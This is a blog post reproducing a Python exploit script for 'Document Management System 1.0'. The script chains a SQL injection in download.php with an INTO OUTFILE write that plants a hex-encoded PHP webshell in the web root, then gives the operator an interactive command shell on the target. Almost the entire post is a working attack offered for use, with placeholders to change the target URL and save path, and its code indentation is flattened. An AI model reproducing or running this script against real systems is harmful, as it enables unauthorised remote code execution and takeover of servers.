Sunday, April 25, 2021

Document Management System 1.0 SQL Injection / Remote Code Execution

# Exploit Title: Document Management System - SQL Injection to RCE (webshell)
# Date: 23/04/21
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/7652/document-management-system.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4

#!/usr/bin/python3
import requests
import sys
import urllib.parse
import time

URL=f"http://TARGET/doc_system/docsytems/" # Change URL
SAVEPATH="c:/xampp/htdocs/" #Change to webfolder root (ie: /var/www/html on unix)

HOSTNAME=urllib.parse.urlparse(f"{URL}").netloc
PHPPAYLOAD="3c3f7068702073797374656d28245f4745545b2763275d293b203f3e" #<?php system($_GET['c']);?>
PAYLOAD=f"-8087' OR 6017=6017 LIMIT 0,1 INTO OUTFILE '{SAVEPATH}xythif42taA.php' LINES TERMINATED BY 0x{PHPPAYLOAD}-- -" #Change filename if you wish, replace 'xythif42taA.php'

RS='\033[0m'
R='\033[0;31m'
G='\033[0;32m'
LB='\033[1;34m'
CY='\033[0;36m'
W='\033[1;73m'

def main():


s = requests.Session()

def banner():
return r"""________ _____ _________.__ .__ .__
\______ \ / \ ______/ _____/| |__ ____ | | | |
| | \ / \ / \ / ___/\_____ \ | | \_/ __ \| | | |
| ` \/ Y \\___ \ / \| Y \ ___/| |_| |__
/_______ /\____|__ /____ >_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/
Created by: Richard Jones
Date: 23/04/2021
Type: Webshell (sql injection)
"""

def checkTarget():
r = s.get(f"{URL}//View/download.php")
if r.status_code == 200:
return True

def sendPayload():
r = s.get(f"{URL}//View/download.php?id={PAYLOAD}")
if not r.status_code == 200:
print("Error in URL!, Check the URL again.")
sys.exit()

def checkShell():
r = s.get(f"http://{HOSTNAME}/xythif42taA.php")
if r.status_code == 200:
return True
else:
return False

def runWebShell():
while True:
cmd=input(f"{R}" + "DMsShell: " + f"{RS}")
if cmd == "exit":
sys.exit()
r = s.get(f"http://{HOSTNAME}/xythif42taA.php?c={cmd}")
print(r.text.split("</html>")[1])

print(f"{CY}" + banner() + f"{RS}")
print(f"{W}" + "[-] Checking Target" + f"{RS}")
if not checkTarget():
print(f"{R}"+"[!] Can't access download.php in target, check the URL" + f"{RS}")
sys.exit()
else:
print(f"{G}"+"[+] TARGET is alive!" + f"{RS}")
sendPayload()
if checkShell():
print(f"{G}"+"[+] SHELL Acitvating!" + f"{RS}")
time.sleep(1)
runWebShell()

if __name__ == "__main__":
main()
 

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore